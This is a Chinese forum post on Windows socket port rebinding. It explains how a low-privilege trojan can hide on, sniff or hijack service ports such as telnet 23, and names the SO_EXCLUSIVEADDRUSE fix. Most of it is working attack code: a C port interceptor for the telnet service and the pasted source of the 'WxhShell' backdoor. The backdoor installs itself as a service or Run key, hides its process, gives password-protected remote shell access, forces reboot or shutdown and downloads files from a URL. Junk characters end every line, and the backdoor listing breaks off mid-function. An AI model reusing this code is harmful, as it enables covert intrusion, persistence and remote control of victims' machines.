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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /$! / F@^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *["9;_KD  
YnNB#x8|  
  saddr.sin_family = AF_INET; { e<J}-/?  
& *B@qQ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,`^B!U3m   
8,a&i:C  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .*r ?zDV  
7F>5<Gv:-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }C}~)qaZv+  
,1Suq\ L  
  这意味着什么?意味着可以进行如下的攻击: (NFq/w%  
q<@f3[A  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \"V7O'S)&  
zKx?cEpE  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) kmi[u8iXD_  
?#<Fxme  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 y"]?TEd  
IwZn%>1N  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  e/6WhFN #  
n (C*LK  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 GL cf'$l  
d?oupW}uu  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1 C{n!l  
y/$WjFj3"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !qV{OXdrB  
" nq4!  
  #include m[LIM}Gu  
  #include rG:IS=  
  #include *%:p01&+  
  #include    H\Y.l,^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   WLP A51R  
  int main() 1U;je,)  
  { /j0<x^m/  
  WORD wVersionRequested; ^ W eE%"  
  DWORD ret; TKx.`Cf m  
  WSADATA wsaData; 9jDV]!N4  
  BOOL val; mv/'H^"[_  
  SOCKADDR_IN saddr; _'ltz!~  
  SOCKADDR_IN scaddr; }W#Gf.$6C  
  int err; [D[s^<RJs  
  SOCKET s; R61.!ql%w  
  SOCKET sc; |qH-^b.F  
  int caddsize; ` Xhj7%>  
  HANDLE mt; Ett%Y*D+J  
  DWORD tid;   /+1+6MqRn*  
  wVersionRequested = MAKEWORD( 2, 2 ); g;i>nzf  
  err = WSAStartup( wVersionRequested, &wsaData ); t4GG@`  
  if ( err != 0 ) { i;s&;_0{  
  printf("error!WSAStartup failed!\n"); DxdiXf[j  
  return -1; Wrf('  
  } :XxsDD  
  saddr.sin_family = AF_INET; - jfZLO4  
   E y1mlW  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +;c)GNQ)6:  
v(W$\XH  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3V?JX5X\  
  saddr.sin_port = htons(23); 8)s}>:}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0UB)FK ,9  
  { 8L`J](y  
  printf("error!socket failed!\n"); N\ChA]Ck  
  return -1; 2.{:PM4Z4  
  } W=|sy-N{2  
  val = TRUE; U$Z)v1&{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 wb~#=6Y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1//d68*"  
  { F.i*'x0u  
  printf("error!setsockopt failed!\n"); i+( k  
  return -1; }dQW -U  
  } L:nZ_O;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; pUutI|mt/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g VX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 bCHJLtDQ  
m/Ou$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cK%Sty'8+  
  { .|^L\L(!  
  ret=GetLastError(); 1v)ur\>R  
  printf("error!bind failed!\n"); [`Seh$  
  return -1; M>nplHq   
  } 48vKUAzx`  
  listen(s,2); S+ gzl#r  
  while(1) )ZC0/>R  
  { BF{v0Z0/}k  
  caddsize = sizeof(scaddr); FBJw (.Jr  
  //接受连接请求 ZjF5*A8l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); pKJ0+mN#"  
  if(sc!=INVALID_SOCKET) :c[iS~ ~Y  
  { w/BaaF.0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _^]2??V  
  if(mt==NULL) -7,xjn  
  { ;*>Y8^K&Q  
  printf("Thread Creat Failed!\n"); EVZuwbO)|  
  break; LI1OocY.]  
  } i eQQ{iGJH  
  } 2XI%z4\)!  
  CloseHandle(mt); UfIH!6Q  
  } D@A@5pvS  
  closesocket(s); 70hm9b-   
  WSACleanup(); VN6h:-&iY  
  return 0; 0aj4.H*%  
  }   =$xxkc.~G  
  DWORD WINAPI ClientThread(LPVOID lpParam) @'>h P  
  { ^h #0e:7<  
  SOCKET ss = (SOCKET)lpParam; 7%DA0.g  
  SOCKET sc; "I+71Ce  
  unsigned char buf[4096]; }TE4)vXs  
  SOCKADDR_IN saddr; 7vO3+lT/Y;  
  long num; S bI7<_  
  DWORD val; E>>@X^ =  
  DWORD ret; LgFF+z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 qM%l  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;|7]%Z}%  
  saddr.sin_family = AF_INET; zr#n^?m  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Iow45R~]  
  saddr.sin_port = htons(23); {[&$W8Li  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s[6y|{&ze  
  { K;j}qJvsb  
  printf("error!socket failed!\n"); -=5]B ;  
  return -1; 1?+%*uoPX  
  } Q #!|h:K  
  val = 100; T6_LiB @  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PCKgdh},  
  { Zw6UH;5  
  ret = GetLastError(); d0ZbusHHb  
  return -1; S 2vjjS  
  } %*J'!PC9n  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) MoAZ!cF8  
  { 6[wAX  
  ret = GetLastError(); /DLgE7iU%  
  return -1; R;D|To!  
  } F&pJ faig  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) BhFyEY(  
  { 5}-e9U  
  printf("error!socket connect failed!\n"); !| ObNS  
  closesocket(sc); Sy\ec{$+V]  
  closesocket(ss); Ig b@aGA  
  return -1; hHXTSk2  
  } (.D|%P  
  while(1) BuwJR Ql.  
  { 3hUU$|^4gm  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]H[%PQ r`Z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :x*#RnRr.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 U42B( ow  
  num = recv(ss,buf,4096,0); ? }t[  
  if(num>0) -bJC+Yn  
  send(sc,buf,num,0); D X|yL!4[  
  else if(num==0) d^-sxl3}  
  break; 8<#S:O4kA  
  num = recv(sc,buf,4096,0); oY;=$8y<q  
  if(num>0) ?-.Qv1hs6p  
  send(ss,buf,num,0); bSbUf%LKt  
  else if(num==0) L`"B;a&  
  break; aJ;6!WFW  
  } 1uz7E  
  closesocket(ss); EGD&/%aC  
  closesocket(sc); #0*OkZMt  
  return 0 ; Wbra*LNU  
  } bIs@CDB  
y*6-?@  
s}m.r5  
========================================================== %p wpRD@  
QVEGd"WvvO  
下边附上一个代码,,WXhSHELL (}^Qo^Vr  
@-d0 ~.S  
========================================================== )$Tcip`  
IgxZ_2hO  
#include "stdafx.h" (A<'{J#5,  
(bT3 r_  
#include <stdio.h> iRwlK5(&  
#include <string.h> F@C^nX9  
#include <windows.h> Aw~N"i  
#include <winsock2.h> TOUP.,f/!  
#include <winsvc.h> \7l% @  
#include <urlmon.h> &uX| Ksq  
cwK+{*ZH/  
#pragma comment (lib, "Ws2_32.lib") ;`p!/9il  
#pragma comment (lib, "urlmon.lib") dF (m!P/R  
Lc0yLm  
#define MAX_USER   100 // 最大客户端连接数 <Oyxzs  
#define BUF_SOCK   200 // sock buffer :f9O3QA  
#define KEY_BUFF   255 // 输入 buffer c+_F}2)  
'5:P,1tW U  
#define REBOOT     0   // 重启 6e%|.}U  
#define SHUTDOWN   1   // 关机 QAI!/bB  
vbn'CY]QU  
#define DEF_PORT   5000 // 监听端口 Gd= l{~  
(txr%Z0E  
#define REG_LEN     16   // 注册表键长度 9gS.G2  
#define SVC_LEN     80   // NT服务名长度 N3C 8%  
J3;dRW  
// 从dll定义API w =MZi=p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R3`Rrj Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); orU++,S4Pm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \Gzo^w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Gb?O-z%8*  
$IdY(f:.:5  
// wxhshell配置信息 wlY6h4c  
struct WSCFG { E\ 'X|/$a  
  int ws_port;         // 监听端口 n-%8RV  
  char ws_passstr[REG_LEN]; // 口令 =2BB ~\G+  
  int ws_autoins;       // 安装标记, 1=yes 0=no JsA9Xdk`  
  char ws_regname[REG_LEN]; // 注册表键名 vWM'}(  
  char ws_svcname[REG_LEN]; // 服务名 [+j39d.Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #c2InwZV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s3., N|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L.]mC !  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9F*],#ng  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .JJ^w!|>#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NbDfD3 1GK  
G0u3*.  
}; s</llJ$  
-_>g=a@&  
// default Wxhshell configuration !edgziuO  
struct WSCFG wscfg={DEF_PORT, Sn _zhQxG  
    "xuhuanlingzhe", #9Fe,  
    1, O8J:Tw}M*  
    "Wxhshell", UdSu:V|  
    "Wxhshell", (ex^=fv  
            "WxhShell Service", guD?~-Q  
    "Wrsky Windows CmdShell Service", Ul EP;  
    "Please Input Your Password: ", k*;2QED  
  1, [H3~b=  
  "http://www.wrsky.com/wxhshell.exe", Q I.*6-(  
  "Wxhshell.exe" UpA{$@  
    }; jE&Onzc  
o4Bl!7U  
// 消息定义模块 Vu6p l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,Cj8{s&;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gw1| ?C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fC$~3v  
char *msg_ws_ext="\n\rExit."; 4cO||OsMU  
char *msg_ws_end="\n\rQuit."; !`VO#_TJ  
char *msg_ws_boot="\n\rReboot..."; &M,"%w!  
char *msg_ws_poff="\n\rShutdown..."; Z_^v#FJ'l  
char *msg_ws_down="\n\rSave to "; C~5-E{i  
u D.E>.B  
char *msg_ws_err="\n\rErr!"; ;-G!jWt6Zi  
char *msg_ws_ok="\n\rOK!"; qwb`8o  
7 %P?3  
char ExeFile[MAX_PATH]; ]/d4o  
int nUser = 0; ,8F?v~C  
HANDLE handles[MAX_USER]; >%"Q]p  
int OsIsNt; R.g'&_zx  
kRk=8^."By  
SERVICE_STATUS       serviceStatus; kt";Jx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 10/N-=NG18  
F C= %_y  
// 函数声明 !6wbg  
int Install(void); G0^O7w^5  
int Uninstall(void); `R}D@  
int DownloadFile(char *sURL, SOCKET wsh); 3xW;qNj:!l  
int Boot(int flag); }}GBCXAf_  
void HideProc(void); 'z#{'`$a  
int GetOsVer(void); .2xp.i{  
int Wxhshell(SOCKET wsl); !n`ogzOh  
void TalkWithClient(void *cs); =f)S=0UF  
int CmdShell(SOCKET sock); VesO/xG<  
int StartFromService(void); o3;u*f0rWn  
int StartWxhshell(LPSTR lpCmdLine); Cf_Ik  
PAe2 hJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #"M 'Cs  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C/P,W>8  
|U_48  
// 数据结构和表定义 ?-FSDNQ  
SERVICE_TABLE_ENTRY DispatchTable[] = ;z9(  
{ Qa,^;hZWS  
{wscfg.ws_svcname, NTServiceMain}, !U"1ZsO)l  
{NULL, NULL} (u]ajT  
}; Bc4{$sc"O  
xNNoB/DR  
// 自我安装 uTRa]D_q  
int Install(void) M} IRagm  
{ 6'Sc=;;:  
  char svExeFile[MAX_PATH]; [@}{sH(#Ta  
  HKEY key; }lgqRg)F9[  
  strcpy(svExeFile,ExeFile); Av*R(d=`  
(BC3[R@/l  
// 如果是win9x系统,修改注册表设为自启动 }9=\#Le~\  
if(!OsIsNt) { 'aB0abr|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o} #nf$v(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S.+)">buH  
  RegCloseKey(key); V*l0| ,9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4/{Io &|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (k"oV>a|  
  RegCloseKey(key); _"Q +G@@  
  return 0; DytOS}/^9  
    } Z6&s 6MF  
  } =+{.I,g}g@  
} `8F%bc54iw  
else { ZkYc9!anY  
D PnKr/  
// 如果是NT以上系统,安装为系统服务 {uO8VL5+Qx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x8T5aS  
if (schSCManager!=0)  ]{OEU]I@  
{ XN"V{;OP1  
  SC_HANDLE schService = CreateService ?lb1K'(  
  ( Gvt.m&_  
  schSCManager, nzDS  
  wscfg.ws_svcname, I~S`'()J  
  wscfg.ws_svcdisp, 6|#^4D)  
  SERVICE_ALL_ACCESS, f8! PeQ?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \n850PS  
  SERVICE_AUTO_START, @A6\v+ih  
  SERVICE_ERROR_NORMAL, oKTIoTb  
  svExeFile, |xH"Xvp:  
  NULL,  Iz2K  
  NULL, )J_!ZpMC  
  NULL, rsf A.o  
  NULL, K0]'v>AWr  
  NULL OgrUP  
  ); ;T6^cS{Gj  
  if (schService!=0) Cc]s94  
  { ~}4o=O(  
  CloseServiceHandle(schService); ^h^2='p  
  CloseServiceHandle(schSCManager); f? F i{m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8'*z>1ZS5  
  strcat(svExeFile,wscfg.ws_svcname); BzA(yCu$:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,ewg3mYHC&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G=3/PYp  
  RegCloseKey(key); H/Goaf%  
  return 0; ~GfcI:Zz&  
    } <uL?7P  
  } 'oTcx Jx  
  CloseServiceHandle(schSCManager); q4 'x'8  
} |Xd[%W)  
} 5v~Y>  
$'X*L e@k  
return 1; n<CJx+U  
} )QTk5zt  
xn@?CP`-y  
// 自我卸载 "h7-nwm  
int Uninstall(void) hC]c =$=7  
{ mo#4jtCE  
  HKEY key; pP?J(0Q~  
c6s(f  
if(!OsIsNt) { c0<Y017sG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `Dh%c%j)  
  RegDeleteValue(key,wscfg.ws_regname); Rv q_Zsm  
  RegCloseKey(key); GU'5`Yzd9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f\~e&`PV  
  RegDeleteValue(key,wscfg.ws_regname); D{.%Dr?  
  RegCloseKey(key); @D"#B@j  
  return 0; HcHfwLin0  
  } %8$JL=c  
} 2>fG}qYy$  
} yL.si)h(p  
else { yixW>W}  
WGG|d)'@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B0q![  
if (schSCManager!=0) gKb4n Nt  
{ ^Sy\<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tb/u@}")  
  if (schService!=0) *&UVr  
  { 4,s: G.g  
  if(DeleteService(schService)!=0) { 'cw0FpQ;  
  CloseServiceHandle(schService); ~c?yHpZx%  
  CloseServiceHandle(schSCManager); 4PD"[a="  
  return 0; /l+x&xYD  
  } j\dkv_L  
  CloseServiceHandle(schService); M|d[iaM,  
  } 8)"KPr63M  
  CloseServiceHandle(schSCManager); YhLtf(r  
} #A]7cMZ'W  
} b daZ{5^{  
(^a;2j9  
return 1; L{^DZg|E  
} pJa FPO..|  
7R) )(-  
// 从指定url下载文件 e,~c~Db* Q  
int DownloadFile(char *sURL, SOCKET wsh) o,\%c" mC  
{ V]k!]  
  HRESULT hr; a2=wJhk  
char seps[]= "/"; mu"]B]  
char *token; .j}u'!LKul  
char *file; Rdt8jY6F/  
char myURL[MAX_PATH]; nQ$N(2<Fe  
char myFILE[MAX_PATH]; U%k e 5uwP  
`Q(ac| 0  
strcpy(myURL,sURL); Q^MB%L;D  
  token=strtok(myURL,seps); c_ygwO3.Q  
  while(token!=NULL) yH#;k:O=  
  { [po+a@ %  
    file=token; kOdS^-  
  token=strtok(NULL,seps); @z/]!n\~  
  } 3<mv9U(  
\|62E):i1  
GetCurrentDirectory(MAX_PATH,myFILE); 87<y_P@{  
strcat(myFILE, "\\"); mnmwO(.  
strcat(myFILE, file); oN `tZ;a  
  send(wsh,myFILE,strlen(myFILE),0); #mkr]K8A4  
send(wsh,"...",3,0); m qw!C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n"FOCcTIs  
  if(hr==S_OK) g+k6pi*  
return 0; ejr"(m(Xe  
else =l7LEkR  
return 1; /0o 2  
Z:/S@ry  
} uqQMS&;+,|  
=dA T^e##  
// 系统电源模块 2OT6*+D  
int Boot(int flag) VsZ_So;  
{ !@YYi[Gk  
  HANDLE hToken; iT5H<uS  
  TOKEN_PRIVILEGES tkp; 0a'@J~v!  
ItaJgtsV  
  if(OsIsNt) { B:mlBSH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .9^;? Ts  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (B$FX<K3  
    tkp.PrivilegeCount = 1; *e>:K$r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e0$mu?wd-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bR8)s{p6  
if(flag==REBOOT) { SD.ze(P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OT *W]f  
  return 0; /Hx0=I  
} w`7l ;7[  
else { c=b\9!hr_E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^_=0.:QaW  
  return 0; GUp51*#XR  
} ;XtDz  
  } ]cA~%$c89s  
  else { I9Sh~vTm=u  
if(flag==REBOOT) { ~o2{Wn["  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %qE#^ U  
  return 0; ?x[>g!r  
} kW:!$MX!  
else { -{7N]q)}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &&y@/<t  
  return 0; =[jBOx&  
} 7J;.T%4 l  
} =f|>7m.p  
hy]AH)?pR  
return 1; 7>~iS@7GV  
} 0[i]PgIH  
]Aluk|"`U  
// win9x进程隐藏模块 n=>Gu9`  
void HideProc(void) C=b5[, UCB  
{ 785iY865  
r9t{/})A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *FE<'+%  
  if ( hKernel != NULL ) #[xNE C)  
  { Z*QRdB%,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N-Z 9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p{,fWk  
    FreeLibrary(hKernel); /<2_K4(-{4  
  } qB:`tHy  
Hb$q}1+y  
return; mzw*6e2T  
} lxz %b C@  
e5/_Vga  
// 获取操作系统版本 .o8Gi*PEY  
int GetOsVer(void) 1k~jVC2VA  
{ 8xv\Zj+  
  OSVERSIONINFO winfo; }rQ*!2Y?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G`P+J  
  GetVersionEx(&winfo); ;8v5 qz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ( 0h]<7  
  return 1; i~9)Hz;!  
  else Cn<kl^!Q-  
  return 0; |S8pq4eKJ_  
} l^"G\ZVI  
8(I"C$D!k  
// 客户端句柄模块 z?aD Oh  
int Wxhshell(SOCKET wsl) @gj5'  
{ ( BGipX4  
  SOCKET wsh; w}i.$Qt  
  struct sockaddr_in client; >6dgf`U  
  DWORD myID; aF=VJ+5  
Zk[#B UA  
  while(nUser<MAX_USER) 5jLDe~  
{ t(yv   
  int nSize=sizeof(client); #n7{ 3)   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i*tj@5MY-  
  if(wsh==INVALID_SOCKET) return 1; QM]^@2rK2  
?`XKaD! f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DXGO-]!!0  
if(handles[nUser]==0) y*D 8XI$  
  closesocket(wsh); PA/6l"-`3  
else r=`>'3 } x  
  nUser++; 8B+uNN~%]  
  }  ?.s*)n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nr^p H.  
vKt_z@{{L  
  return 0; 2P=;r:cx  
} ;1 fML,8  
\2`U$3Q  
// 关闭 socket u& Fm}/x  
void CloseIt(SOCKET wsh) 6uyf  
{ dB5DJ:$W$  
closesocket(wsh); 0{yx*}.  
nUser--; ^PI49iB  
ExitThread(0); 9s)oC$\  
} `jHGNi  
%([c4el>\F  
// 客户端请求句柄 |(<L!6  
void TalkWithClient(void *cs) WToAT;d2h  
{ ]*|K8&jxl  
;'p'8lts  
  SOCKET wsh=(SOCKET)cs; h]#)41y<  
  char pwd[SVC_LEN]; * y B-N;I  
  char cmd[KEY_BUFF]; K0\WN"ua;  
char chr[1]; &g!/@*[Nhh  
int i,j; C0%%@ 2+  
M@\'Y$)Y{  
  while (nUser < MAX_USER) { ]@>|y2  
p"@|2a  
if(wscfg.ws_passstr) { X`b5h}c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t/Fe"T[,V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UU;:x"4  
  //ZeroMemory(pwd,KEY_BUFF); z#4g,)ZX  
      i=0; 7 'S]  
  while(i<SVC_LEN) { 63HkN4D4  
PwW@I~@>  
  // 设置超时 8(}sZ)6  
  fd_set FdRead; *`#,^p`j b  
  struct timeval TimeOut; TRZ^$<AG  
  FD_ZERO(&FdRead); vF&b|V+,  
  FD_SET(wsh,&FdRead); ]YP?bP,:  
  TimeOut.tv_sec=8; n1Jz49[r  
  TimeOut.tv_usec=0; q~n2VU4L*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hbeC|_+   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bnGA.b  
ho1F8TG=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b5Pn|5AVj  
  pwd=chr[0]; d%3BJ+J  
  if(chr[0]==0xd || chr[0]==0xa) { Ie"R,,c   
  pwd=0; (4LLTf0  
  break; 8;8}Oq  
  } 2XHk}M|  
  i++; ja/[PHq"  
    } ?=kswf  
,k!a3"4+TJ  
  // 如果是非法用户,关闭 socket fR%8?6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nQ\k{%Q  
} 1RA$hW@}  
)^TQedF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PS6`o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cy4'q ?r  
Pc'?p  
while(1) { &pm{7nH  
TeJ `sJ  
  ZeroMemory(cmd,KEY_BUFF);  iC]lO  
w>u Z$/  
      // 自动支持客户端 telnet标准   >{a,]q*  
  j=0; p( *3U[1  
  while(j<KEY_BUFF) { Q8?D}h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EcIQ20Z_-  
  cmd[j]=chr[0]; \]xYV}(FO  
  if(chr[0]==0xa || chr[0]==0xd) { h>:RCpC  
  cmd[j]=0; "zbE  
  break; 5>)jNtZ  
  } / JB4#i7  
  j++; )*h~dx_cm  
    } )_cv}.xe  
@ WaYU  
  // 下载文件 K*$#D1hG  
  if(strstr(cmd,"http://")) { <q\) o_tH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $0T"YC%  
  if(DownloadFile(cmd,wsh)) 8n5nHne  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aUK4{F ;  
  else tY=%@v'6?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  c^s>  
  } ,rQ)TT  
  else { x-&v|w'  
 2p>SB/  
    switch(cmd[0]) { Y)}%SP>,  
  +o]BjgG  
  // 帮助 Aw;vg/#~md  
  case '?': { 'V#ew\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N?0y<S ?!  
    break; C+XZDY(=Z  
  } % VpBB  
  // 安装 *]R 0z|MW  
  case 'i': { CqK#O'\  
    if(Install()) {yMA7W7]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v`^J3A  
    else UUu-(H-J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *`Xx_   
    break; }Y`<(V5:  
    } bpa O`[*  
  // 卸载 ]31XX=  
  case 'r': { Xe;(y "pR  
    if(Uninstall()) 8Ql'(5|T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bs EpET  
    else W'h0Zg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S.|kg2  
    break; AYIz;BmWy  
    } <[:7#Yo g  
  // 显示 wxhshell 所在路径 6L9[U^`@  
  case 'p': { d`uO7jlm  
    char svExeFile[MAX_PATH]; v9m;vWp  
    strcpy(svExeFile,"\n\r"); +\GZ(!~  
      strcat(svExeFile,ExeFile); lk1Gs{(qhH  
        send(wsh,svExeFile,strlen(svExeFile),0); @B[Cc`IN"  
    break; l/zC##1+.  
    } P<!$A  
  // 重启 QhQ"OVFr#  
  case 'b': { 8`2<g0V2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,G|aLBn  
    if(Boot(REBOOT)) 5;8B!%b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \K~fRUo]=c  
    else {  ;c Co+(  
    closesocket(wsh); aroVyUs3j  
    ExitThread(0); 9<h]OXv  
    } ds;cfj[  
